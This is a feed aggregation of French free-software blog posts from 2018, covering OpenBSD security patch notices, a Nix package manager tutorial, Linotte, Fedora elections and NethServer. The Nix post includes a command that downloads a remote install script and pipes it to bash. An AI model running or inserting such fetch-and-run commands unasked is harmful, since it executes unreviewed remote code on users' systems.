<li>la correction d’un bug qui empêchait Cozy de se lancer avec une version de GTK+ inférieure à 3.22</li>
<li>si aucun champ auteur n’est présent, le champ narrateur sera utilisé comme auteur. Cela nécessite une réimportation forcée sur les livres déjà importés</li>
<li>diverses optimisations</li>
</ul>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/06/sortie-de-cozy-0-6-0/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://obsd4a.net/blog/index.php?article48/syspatch-patch-9-libcrypto-pour-openbsd
title: Thuban : Syspatch : Patch 9 libcrypto pour OpenBSD
uri: Thuban-Syspatch-Patch-9-libcrypto-pour-OpenBSD
url: https://obsd4a.net/blog/index.php?article48/syspatch-patch-9-libcrypto-pour-openbsd
content:
<p>L'équipe OpenBSD nous livre un nouveau correctif ciblant la bibliothèque <strong>libcrypto</strong>.</p>

<p>Dans les faits, la génération de signature DSA et ECDSA peut potentiellement révéler certaines informations secrètes dans le contexte d'une attaque par analyse du temps mis pour ladite génération - cf: <a href="https://en.wikipedia.org/wiki/Timing_attack" rel="noopener" target="_blank">time side-channel attack</a>.<br><br>
OS concernés : <span><a href="https://www.openbsd.org/errata62.html">6.2</a> : <em>n°<a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.2/common/015_libcrypto.patch.sig">15</a></em>, <a href="https://www.openbsd.org/errata63.html">6.3</a> : <em>n°<a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.3/common/009_libcrypto.patch.sig">9</a></em></span><br>
Architectures concernées : <span>amd64, arm64, i386</span><br><br>
Le correctif pour 6.3 sera disponible d'ici deux jours environ. Ceux qui veulent impérativement l'avoir dès maintenant doivent télécharger le patch contenant le <a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.3/common/009_libcrypto.patch.sig" rel="noopener" target="_blank">code source</a> et l'appliquer.</p>

<p>Il n'est pas nécessaire de redémarrer !</p>

<p> </p>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://obsd4a.net/blog/index.php?article48/syspatch-patch-9-libcrypto-pour-openbsd" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.blog-libre.org/2018/06/15/nix-ou-la-gestion-des-paquets-en-question/
title: blog-libre : Nix ou la gestion des paquets en question
uri: blog-libre-Nix-ou-la-gestion-des-paquets-en-question
url: https://www.blog-libre.org/2018/06/15/nix-ou-la-gestion-des-paquets-en-question/
content:
<p><a href="https://mastodon.social/@alatitude77" rel="noopener" target="_blank">A1</a> est mon dealer officiel d’outils et d’articles intéressants, il m’a rappelé l’existence de Nix. J’avais justement mis dans un coin (éloigné) de mon esprit de revenir sur Nix et NixOS. L’article présent n’ayant pas pour but de vous présenter NixOS, je vous invite à consulter cet <a href="https://linuxfr.org/news/l-heure-du-test-episode-1-nixos" rel="noopener" target="_blank">article</a> sur le sujet.</p><p>Je vais uniquement vous parler de son gestionnaire de paquets : Nix. Il a notamment la particularité de pouvoir s’installer sur n’importe quelle distribution facilement (Debian 8 minimum, Ubuntu, Fedora… même si actuellement à mon grand regret ce n’est pas possible sur Raspbian). Commençons par vous mettre le pied à l’étrier pour l’utiliser, après on causera.</p><h3><h3>Installation et utilisation</h3></h3><p><a href="https://nixos.org/nix/manual/#ch-installing-binary" rel="noopener" target="_blank">Installation</a><br><code>bash <(curl https://nixos.org/nix/install)</code> Pas de sudo avant, il demande si besoin. Il va créer un dossier nix à la racine donc <code>/nix</code></p><p><a href="https://nixos.org/nix/manual/#sec-channels" rel="noopener" target="_blank">nix-channel</a><br><code>nix-channel --list</code> Même principe qu’un sources.list<br><code>nix-channel --add https://nixos.org/channels/nixpkgs-unstable</code><br><code>nix-channel --remove nixpkgs</code><br><code>nix-channel --update</code></p><p><a href="https://nixos.org/nix/manual/#sec-nix-env" rel="noopener" target="_blank">nix-env</a><br><code>nix-env -i ranger ncdu # -i, --install</code><br><code>nix-env -e ranger # -e, --uninstall</code><br><code>nix-env -u ranger # -u, --upgrade package</code><br><code>nix-env -u # Upgrade all packages</code><br><code>nix-env -q # View installed packages</code><br><code>nix-env --rollback</code></p><p>Quelques commandes pour la maintenance<br><code>nix-channel --update &amp;&amp; nix-env --upgrade</code> Perso j’utilise <code>alias nn='nix-channel --update &amp;&amp; nix-env --upgrade'</code>. Pour transposer à apt, ça correspondrait à <code>apt update &amp;&amp; apt upgrade</code><br><code>nix-env --list-generations # Print a list of all the currently existing generations for the active profile</code><br><code>nix-env --delete-generations old</code><br><code>nix-collect-garbage -d # Deletes all old generations of all profiles is a quick and easy way to clean up your system</code></p><p>C’est la base avec <code>nix --help</code> et <code>nix search nomdupackage</code>, la doc <a href="https://nixos.org/nix/manual/" rel="noopener" target="_blank">ici</a>, deux articles (<a href="https://linuxfr.org/news/nix-pour-les-developpeurs" rel="noopener" target="_blank">1</a>, <a href="https://linuxfr.org/news/le-gestionnaire-de-paquets-nix-en-version-2-0" rel="noopener" target="_blank">2</a>) très intéressants sur LinuxFr.org.</p><p>Pour être sûr du gestionnaire de packages que vous utilisez, <code>which nomdupackage</code>. Si ça pointe vers <code>/nix</code> l’application est gérée par nix. Précisons c’est pour une utilisation mono-utilisateur, pour du multi-user c’est <a href="https://nixos.wiki/wiki/Install_Nix_in_multi-user_mode_on_non-NixOS" rel="noopener" target="_blank">plus compliqué</a>, ça ne <a href="https://github.com/NixOS/nix/issues/936" rel="noopener" target="_blank">fonctionne pas</a> encore pour l’utilisateur root.</p><p>Je ne rencontre aucun souci sur les packages suivants : fzf htop keychain ncdu peco ranger ripgrep vagrant zsh. Ça fonctionne pour firefox mais pas virtualbox chromium. Je songe à installer toutes mes applications en passant par Nix, le point négatif étant l’espace consommé.</p><h3></h3><h3>Mais pour quoi faire ?</h3><p>Nix permet d’installer des applications sans droit root, l’application est alors uniquement disponible pour l’utilisateur courant.</p><p>Cas d’utilisation N°1 : J’ai un conflit de dépendances avec mon gestionnaire de paquets (apt), je ne peux pas installer la dernière version de trucmachin => <code>nix-env -i trucmachin</code>. On bypasse le gestionnaire de paquets<br>Cas d’utilisation N°2 : Je veux une version plus récente que le truc qui a 4 ans sur ma Debian 8, <code>nix-env -i ranger ncdu terminator</code>. On bypasse gestionnaire de paquets et version de la distrib<br>Cas d’utilisation N°3 : J’ai peur de ce nouveau horrible Firefox 58 (compatibilité des extensions par exemple…), <code>nix-env -i firefox</code> on teste puis si ça le fait pas <code>nix-env --rollback</code>. C’est plus secure et plus souple que le gestionnaire de paquets</p><p>Vous voyez l’intérêt et le potentiel ? Vous vous dites purée je vais m’éclater sur ma vieille Debian et même sur Ubuntu, à moi les dernières versions sans rien casser (ni ajouter de PPA), en pouvant rollback et en m’emmerdant plus avec des problèmes de dépendances (même plus besoin d’apprendre la syntaxe pour utiliser apt, yum ou dnf). Dieu vous a ouvert les portes du paradis et embrassé sur le front, alléluia !!</p><h3></h3><h3>Oui mais…</h3><p>Les utilisateurs se focalisent sur ce qu’ils doivent utiliser et comment (apt par exemple) mais ne s’interrogent pas sur le pourquoi. On allume notre ordinateur pour l’utiliser ou pour galérer à installer des packages et faire leurs mises à jour ?</p><p>Avec une distribution des packages dans des écosystèmes différents (ppa pour Ubuntu, pip pour Python, npm pour Node, container pour Docker, etc.), l’utilisateur se retrouve à devoir utiliser, apprendre, comprendre 4 outils au lieu de 1. Je cherche à en utiliser le moins possible idéalement 2, avec Nix <strong>j’ai contourné le problème sans le résoudre</strong>. Aucun outil n’est parfait, citons <code>nix-env -i chromium</code> qui ne <a href="https://github.com/NixOS/nixpkgs/issues/9415" rel="noopener" target="_blank">fonctionne pas</a> notamment.</p><p>On ne répond toujours pas au besoin et à la problématique de l’utilisateur de pouvoir installer un paquet récent <strong>simplement</strong>, <strong>sans problème de dépendances</strong>, <strong>peu importe l’écosystème</strong>. Demande déplacée, rêve éveillé, problème insoluble ?</p><p><img src="media/0ede1986.standards.png" data-original-source="https://www.blog-libre.org/medias/2018/06/standards.png" alt="" srcset="https://www.blog-libre.org/medias/2018/06/standards.png 500w, https://www.blog-libre.org/medias/2018/06/standards-300x170.png 300w" sizes="(max-width: 500px) 85vw, 500px"></p>
<p><img src="media/25c7216e.1ea6f31074367d57d77721240d30fda9" data-original-source="http://cdn.libravatar.org/avatar/1ea6f31074367d57d77721240d30fda9" alt="Gravatar de blog-libre" class="gravatar" /><br/><i>Original post of <a href="https://www.blog-libre.org/2018/06/15/nix-ou-la-gestion-des-paquets-en-question/" title="Visit the source">blog-libre</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Jérôme Launay : <a href="">Gestion automatique des sous-titres en Bash</a> (17/11/2012)</li><li>Vincent Gay : <a href="">Gestion d&#039;un disque dur externe en ext4</a> (13/04/2013)</li><li>Yopland : <a href="">D&eacute;charger ses photographies en toute simplicit&eacute;</a> (30/11/2014)</li><li>blog-libre : <a href="">Qui croit encore &agrave; la perc&eacute;e de Linux aupr&egrave;s du grand public</a> (17/09/2016)</li><li>blog-libre : <a href="">Xubuntu 18.04 ou pas</a> (27/04/2018)</li></ul></div></p>


feed_id: http://langagelinotte.free.fr/wordpress/?p=318
title: cpc6128 : Linotte 3 : le futur du langage
uri: cpc6128-Linotte-3-le-futur-du-langage
url: http://langagelinotte.free.fr/wordpress/?p=318
content:
<p>Je travaille sur la prochaine version qui sera Linotte 3. Avec cette version, j’ai décidé de faire table rase avec le passé du langage.</p>
<p>Il y a des concepts que j’ai proposés il y a 10 ans et qui ne sont plus utilisés.</p>
<p>Donc, c’est la fin des souffleurs, des tests, de la compatibilité avec les anciennes versions de Linotte, des langages Linnet, du webonotte, du serveurWeb, des greffons en Python, du télétype, etc.</p>
<p>J’en profite aussi pour proposer une syntaxe moins contraignantes pour être dans l’air du temps. Je ne force plus la création des variables en début de fonction par exemple.</p>
<p>De plus, je vais livrer l’Atelier avec une dizaine d’exemples, pas plus. Les exemples présenteront que 10% des possibilités du langage, mais cela permettra de facilité l’apprentissage et la découverte du langage.</p>
<p>Voici un exemple présentant cette syntaxe simplifiée :</p>
<div><code><br>
code :<br>
  affiche "Je sais compter jusqu'à dix et doucement !"<br>
  boucle est un nombre // Création de la variable boucle<br>
  pour boucle de 1 à 10<br>
    affiche boucle<br>
    attends 200 millisecondes<br>
  ferme<br>
  affiche "voilà !"<br></code></div>
<p>Côté Atelier de programmation, je l’ai allégé et simplifié pour ne garder que l’essentiel. Le but est de le rendre plus facile d’accès et aussi pour moi… de réduire la quantité de code à maintenir.</p>
<p>Pour les curieux, vous pouvez tester une première version( attention, c’est une version alpha) :</p>
<p><a href="https://bitbucket.org/metalm/langagelinotte/downloads/Setup-Linotte_3.00.00.exe">https://bitbucket.org/metalm/langagelinotte/downloads/Setup-Linotte_3.00.00.exe</a></p>
<p><a href="https://bitbucket.org/metalm/langagelinotte/downloads/Linotte_3.00.00.zip">https://bitbucket.org/metalm/langagelinotte/downloads/Linotte_3.00.00.zip</a></p>
<p><a href="https://bitbucket.org/metalm/langagelinotte/downloads/langagelinotte_3.00.00-ubuntu_all.deb">https://bitbucket.org/metalm/langagelinotte/downloads/langagelinotte_3.00.00-ubuntu_all.deb</a></p>
<p><a href="https://bitbucket.org/metalm/langagelinotte/downloads/langagelinotte-3.00.00-fedora.noarch.rpm">https://bitbucket.org/metalm/langagelinotte/downloads/langagelinotte-3.00.00-fedora.noarch.rpm</a></p>
<p>Bonne programmation !</p>
<p><img src="media/d3335a51.c5f63f1afeb16731fff10d31a4914421" data-original-source="http://cdn.libravatar.org/avatar/c5f63f1afeb16731fff10d31a4914421" alt="Gravatar de cpc6128" class="gravatar" /><br/><i>Original post of <a href="http://langagelinotte.free.fr/wordpress/?p=318" title="Visit the source">cpc6128</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>cpc6128 : <a href="">&Eacute;crire un greffon en Python pour le langage Linotte</a> (12/06/2012)</li><li>cpc6128 : <a href="">Bient&ocirc;t Linotte 2.0 : vers une refonte du langage</a> (09/07/2012)</li><li>cpc6128 : <a href="">Linotte 2.0, refonte du langage</a> (28/11/2012)</li><li>cpc6128 : <a href="">Un nouveau tutoriel pour le langage Linotte !</a> (10/01/2013)</li><li>cpc6128 : <a href="">Linotte 2.1.1</a> (04/07/2013)</li></ul></div></p>


feed_id: https://blog.fedora-fr.org/renault/post/R%C3%A9sultats-des-%C3%A9lections-de-Fedora-06/18
title: Renault : Résultats des élections de Fedora 06/18
uri: Renault-Résultats-des-élections-de-Fedora-06-18
url: https://blog.fedora-fr.org/renault/post/R%C3%A9sultats-des-%C3%A9lections-de-Fedora-06/18
content:
<p>Comme je vous le rapportais il y a peu, Fedora a organisé des élections
<a href="https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-Conseil-et-Mindshare-cette-semaine" hreflang="fr">pour renouveler partiellement le collège de ses organes Mindshare
et Council</a> puis du <a href="https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-FESCo-cette-semaine" hreflang="fr">FESCo</a>.</p>
<p>Le scrutin est comme toujours un vote par valeurs. Nous pouvons attribuer à
chaque candidat un certain nombre de points, dont la valeur maximale est celui
du nombre de candidat, et le minimum 0. Cela permet de montrer l'approbation à
un candidat et la désapprobation d'un autre sans ambiguïté. Rien n'empêchant de
voter pour deux candidats avec la même valeur.</p>
<p>Les résultats pour le Conseil sont (seul le premier est élu) :</p>
<pre>
  # votes |  name
- --------+----------------------
     164  | Till Maas (till)
- --------+----------------------
     115  | Nick Bebout (nb)
</pre>
<p>À titre indicatif le score maximal possible était de 2 * 110 (pour 110
votants) soit 220.</p>
<p>Les résultats pour le FESCo sont (seuls les quatre premiers sont élus) :</p>
<pre>
  # votes |  name
- --------+----------------------
     290  | Till Maas (till/tyll)
     286  | Stephen Gallagher (sgallagh)
     254  | Randy Barlow (bowlofeggs)
     234  | Petr Šabata (contyk/psabata)
- --------+----------------------
     231  | Justin Forbes (jforbes)
</pre>
<p>À titre indicatif le score maximal possible était de 5 * 86 (pour 86
votants) soit 430.</p>
<p>Les résultats pour le Mindshare sont donc (seuls le premier est élu) :</p>
<pre>
  # votes |  name
- --------+----------------------
     205  | Sumantro Mukherjee (sumantrom)
- --------+----------------------
     188  | Nick Bebout (nb)
     114  | Itamar Peixoto (itamarjp)
</pre>
<p>À titre indicatif le score maximal possible était de 3 * 107 (pour 107
votants) soit 321.</p>
<p>Nous pouvons noter que globalement le nombre de votants pour chaque scrutin
était proche aux alentours de 110-86 votants ce qui est un peu moins que la
fois précédente (175-150 en moyenne). Les scores sont aussi plutôt éparpillés,
avec souvent quelques membres assez largement en tête de chaque scrutin.</p>
<p>Bravo aux participants et aux élus et le meilleur pour le projet Fedora.</p>
<p><img src="media/d143d7a6.f792a7629fb4a46c01613eb1976730ef" data-original-source="http://cdn.libravatar.org/avatar/f792a7629fb4a46c01613eb1976730ef" alt="Gravatar de Renault" class="gravatar" /><br/><i>Original post of <a href="https://blog.fedora-fr.org/renault/post/R%C3%A9sultats-des-%C3%A9lections-de-Fedora-06/18" title="Visit the source">Renault</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Renault : <a href="">Votez cette semaine pour le FESCo et le Conseil de Fedora !</a> (19/07/2016)</li><li>Renault : <a href="">R&eacute;sultats des &eacute;lections de Fedora</a> (29/01/2017)</li><li>Renault : <a href="">Petit probl&egrave;me dans les &eacute;lections du FAmSCo</a> (06/03/2017)</li><li>Renault : <a href="">&Eacute;lections pour le Conseil, FESCo et FAmSCo cette semaine</a> (08/08/2017)</li><li>Renault : <a href="">R&eacute;sultats des &eacute;lections de Fedora 08/17</a> (22/08/2017)</li></ul></div></p>


title: Renault : Je représenterai Borsalinux-fr et Fedora aux RMLL 2018 à Strasbourg (7-12 juillet)
uri: Renault-Je-représenterai-Borsalinux-fr-et-Fedora-aux-RMLL-2018-à-S
feed_id:
https://blog.fedora-fr.org/renault/post/Pr%C3%A9sent-aux-Rencontres-Mondiales-du-Logiciel-Libre-2018-%C3%A0-Strasbourg-%287-12-juillet%29

url:
https://blog.fedora-fr.org/renault/post/Pr%C3%A9sent-aux-Rencontres-Mondiales-du-Logiciel-Libre-2018-%C3%A0-Strasbourg-%287-12-juillet%29

content:
<p>Pour la 3e fois j'assisterais aux Rencontres Mondiales du Logiciel Libre,
cet évènement annuel assez majeur en Francophonie à propos des Logiciels
Libres. Après avoir été à l'édition de Montpellier (2014) et de Beauvais
(2015), je serai présent cette année à Strasbourg toute la semaine du samedi 7
juillet au jeudi 12 juillet. D'habitude je n'assistais qu'au week-end.</p>
<p>Je représenterai Borsalinux-fr pour promouvoir Fedora via un stand dans le
village du libre. <a href="https://2018.rmll.info/conferences/RMLL2018/program/proposals" hreflang="fr">Je présenterai aussi une conférence</a> sur <em>les apports de Fedora à
l'écosystème du Logiciel Libre</em>, réactualisée de celle déjà présentée aux
JM2L en novembre dernier. <a href="https://blog.fedora-fr.org/renault/post/Apports-de-Fedora-%C3%A0-l-%C3%A9cosyst%C3%A8me-du-Logiciel-Libre" hreflang="fr">Le texte a déjà été partiellement publié ici même</a>, la
conférence sera l'occasion de mentionner les progrès sur la question depuis
plusieurs mois sur de nombreux sujets.</p>
<p>La conférence aura lieu le jeudi 11 juillet à 11h à la salle ATRIUM - AT9.
Cela devrait durer environ une heure. Venez nombreux !</p>
<p>Sinon je serais disponible dans le Village du Libre sur le stand
Borsalinux-fr. Si vous avez des questions, besoin d'aide, des remarques ou que
vous voulez faire un coucou, n'hésitez pas. Je serai là pour cela. Des goodies
seront également disponibles.</p>
<p><img src="media/d143d7a6.f792a7629fb4a46c01613eb1976730ef" data-original-source="http://cdn.libravatar.org/avatar/f792a7629fb4a46c01613eb1976730ef" alt="Gravatar de Renault" class="gravatar" /><br/><i>Original post of <a href="https://blog.fedora-fr.org/renault/post/Pr%C3%A9sent-aux-Rencontres-Mondiales-du-Logiciel-Libre-2018-%C3%A0-Strasbourg-%287-12-juillet%29" title="Visit the source">Renault</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Renault : <a href="">Compte rendu des JM2L 2017</a> (10/12/2017)</li><li>Maxime Carron : <a href="">RMLL07 : Alan Cox on fedora-fr booth</a> (11/07/2007)</li><li>Guillaume Kulakowski : <a href="">En direct des RMLL</a> (05/07/2014)</li><li>Renault : <a href="">Pr&eacute;sence de Borsalinux-fr aux JM2L 2015 &agrave; Sophia-Antipolis le 28 novembre</a> (08/11/2015)</li><li>Renault : <a href="">Rencontres Fedora 26 &agrave; Paris le 1er juillet</a> (11/06/2017)</li></ul></div></p>


feed_id: https://obsd4a.net/blog/index.php?article49/syspatch-patch-10-intelfpu-pour-openbsd
title: Thuban : Syspatch : Patch 10 intelfpu pour OpenBSD
uri: Thuban-Syspatch-Patch-10-intelfpu-pour-OpenBSD
url: https://obsd4a.net/blog/index.php?article49/syspatch-patch-10-intelfpu-pour-openbsd
content:
<p>L'équipe OpenBSD nous livre un correctif pour la gestion des unités flottantes des processeurs Intel ! (<strong>intelfpu</strong>).</p>

<p>Les processeurs Intel continuent d'accéder de manière spéculative aux registres FPU, même quand le FPU est désactivé.<br>
De fait, des données (incluant les clés AES) peuvent être découvertes en utilisant l'approche 'lazy-save'.<br><br>
OS concernés : <span><a href="https://www.openbsd.org/errata63.html" rel="noopener" target="_blank">6.3</a></span> - <em>patch n°<strong><a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.3/common/010_intelfpu.patch.sig">10</a></strong></em>.<br>
Architectures concernées : <span>amd64</span><br><br>
Ce correctif touchant le noyau, un <strong>redémarrage</strong> est <strong>requis</strong> !</p>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://obsd4a.net/blog/index.php?article49/syspatch-patch-10-intelfpu-pour-openbsd" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: http://geekeries.de-labrusse.fr/?p=3338
title: Stéphane de Labrusse : Nethserver 7.5 est disponible
uri: Stéphane-de-Labrusse-Nethserver-7-5-est-disponible
url: http://geekeries.de-labrusse.fr/?p=3338
content:
<p><a href="https://www.nethserver.org/">Nethserver</a> se veut un clone de Centos 7 avec un server-manager pour les tache de gestion du serveur sur les aspects sécurité et déploiement des services.</p>
<p><a href="media/2c96e97d.90922ecfa70a4b1e3410bddd2f22b74ef2485068_1_690x345.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/90922ecfa70a4b1e3410bddd2f22b74ef2485068_1_690x345.png"><img src="media/5738b0a1.90922ecfa70a4b1e3410bddd2f22b74ef2485068_1_690x345-300x150.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/90922ecfa70a4b1e3410bddd2f22b74ef2485068_1_690x345-300x150.png" alt="" width="300" height="150" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/90922ecfa70a4b1e3410bddd2f22b74ef2485068_1_690x345-300x150.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/90922ecfa70a4b1e3410bddd2f22b74ef2485068_1_690x345.png 690w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p>Après un long moment de développement, de nombreuses fonctionnalités sont disponibles, en voici une présentation: (<a href="https://community.nethserver.org/t/nethserver-7-5-released/10079">dépêche originale</a>)</p>
<p><span></span></p>
<p> </p>
<ul><li>Souscription: Dépôt logiciel stable + support professionnel</li>
</ul><p><a href="https://my.nethserver.com/login">Vous pouvez souscrire à un dépôt logiciel dit stable</a> (8 jours de latence) sur le modèle de proxmox, ou souscrire à <a href="https://www.nethserver.org/do-you-need-professional-support-on-nethserver/">des services de support professionnels</a> pour ceux qui désirent avoir en face un interlocuteur pouvant résoudre leurs problèmes.</p>
<p><a href="media/227d01eb.237e6f80939d772c35411de5277930f8e6f24069.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/237e6f80939d772c35411de5277930f8e6f24069.png"><img src="media/9214d008.237e6f80939d772c35411de5277930f8e6f24069-300x259.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/237e6f80939d772c35411de5277930f8e6f24069-300x259.png" alt="" width="300" height="259" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/237e6f80939d772c35411de5277930f8e6f24069-300x259.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/237e6f80939d772c35411de5277930f8e6f24069.png 314w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p><a href="https://community.nethserver.org/t/getting-started-with-nethserver-subscription/9554">suivez le guide</a></p>
<p> </p>
<ul><li>Rspamd</li>
</ul><p>Le nouveau moteur de lutte contre le spam, brillant, moderne, adaptable…un vrai bonheur</p>
<p><a href="media/cd450046.868507dc6dda06def1479412ab9c8ab02dc421c0_1_690x439.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/868507dc6dda06def1479412ab9c8ab02dc421c0_1_690x439.png"><img src="media/b83ff142.868507dc6dda06def1479412ab9c8ab02dc421c0_1_690x439-300x191.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/868507dc6dda06def1479412ab9c8ab02dc421c0_1_690x439-300x191.png" alt="" width="300" height="191" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/868507dc6dda06def1479412ab9c8ab02dc421c0_1_690x439-300x191.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/868507dc6dda06def1479412ab9c8ab02dc421c0_1_690x439.png 690w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li>OpenDKIM pour les emails sortants</li>
</ul><p><span lang="fr">La signature de messages électroniques sortants avec une clé DKIM augmente la confiance des autres serveurs de messagerie avec le votre. Un tutoriel <a href="https://wiki.nethserver.org/doku.php?id=email_protection_resources">est disponible</a>  si vous désirez envoyer vos emails sans smarthost.<br></span></p>
<p><a href="media/6a821e45.7b0800d10e59205c7d5a9fc33aad11bf3d617862_1_504x500.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/7b0800d10e59205c7d5a9fc33aad11bf3d617862_1_504x500.png"><img src="media/6ba8ef20.7b0800d10e59205c7d5a9fc33aad11bf3d617862_1_504x500-300x298.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/7b0800d10e59205c7d5a9fc33aad11bf3d617862_1_504x500-300x298.png" alt="" width="300" height="298" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/7b0800d10e59205c7d5a9fc33aad11bf3d617862_1_504x500-300x298.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/7b0800d10e59205c7d5a9fc33aad11bf3d617862_1_504x500-150x150.png 150w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/7b0800d10e59205c7d5a9fc33aad11bf3d617862_1_504x500.png 504w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li><span lang="fr"><span>Gestion des mises à jour de Centos<br></span></span></li>
</ul><p><span lang="fr">Un nouveau panel pour le software center. <span>Il permet de sélectionner comment NethServer configure les mises à jour automatiques.</span></span></p>
<p><a href="media/666c503f.0f4fa13ccd680f16d2ec5c232a3964c900735a2a_1_641x500.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/0f4fa13ccd680f16d2ec5c232a3964c900735a2a_1_641x500.png"><img src="media/fe6c3bb6.0f4fa13ccd680f16d2ec5c232a3964c900735a2a_1_641x500-300x234.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/0f4fa13ccd680f16d2ec5c232a3964c900735a2a_1_641x500-300x234.png" alt="" width="300" height="234" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/0f4fa13ccd680f16d2ec5c232a3964c900735a2a_1_641x500-300x234.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/0f4fa13ccd680f16d2ec5c232a3964c900735a2a_1_641x500.png 641w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li>Icaro Hotspot</li>
</ul><p><span lang="fr"><span>L’objectif est de fournir une connectivité Internet via Wi-Fi pour les utilisateurs.</span> <span>Les utilisateurs sont envoyés sur un portail captif à partir duquel ils peuvent accéder au réseau en s’authentifiant via un login social, un sms ou un e-mail.</span> </span></p>
<p><span lang="fr"><span>Icaro est un hotspot complet écrit dans Go et Vue.js qui </span><span>utilise CoovaChilli</span></span>.<a href="media/827fded8.6be9a080038e45e305ea581f1f7ddffc5b082f8a_1_690x328.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/6be9a080038e45e305ea581f1f7ddffc5b082f8a_1_690x328.png"><img src="media/c084fb15.6be9a080038e45e305ea581f1f7ddffc5b082f8a_1_690x328-300x143.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/6be9a080038e45e305ea581f1f7ddffc5b082f8a_1_690x328-300x143.png" alt="" width="300" height="143" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/6be9a080038e45e305ea581f1f7ddffc5b082f8a_1_690x328-300x143.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/6be9a080038e45e305ea581f1f7ddffc5b082f8a_1_690x328.png 690w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li>Fail2ban</li>
</ul><p>Fail2ban qui est un de mes modules, fait parti du cœur de NethServer :)</p>
<p><a href="media/41b5ed16.12e0ded925c5db73f576ab26b5cd49f8b2acb2ff_1_626x500.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/12e0ded925c5db73f576ab26b5cd49f8b2acb2ff_1_626x500.png"><img src="media/e6e14134.12e0ded925c5db73f576ab26b5cd49f8b2acb2ff_1_626x500-300x240.png" data-original-source="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/12e0ded925c5db73f576ab26b5cd49f8b2acb2ff_1_626x500-300x240.png" alt="" width="300" height="240" srcset="http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/12e0ded925c5db73f576ab26b5cd49f8b2acb2ff_1_626x500-300x240.png 300w, http://geekeries.de-labrusse.fr/wp-content/uploads/2018/06/12e0ded925c5db73f576ab26b5cd49f8b2acb2ff_1_626x500.png 626w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p> </p>
<ul><li><span lang="fr"><span>Sauvegarde des données: inclure les logs</span></span></li>
</ul><p><span lang="fr">Les fichiers journaux système peuvent être ajoutés dans la sauvegarde de données. <span>Ceci  est utile lorsque le sysadmin est contraint à des règles strictes sur la stratégie de rétention des logs par la GDPR</span></span></p>
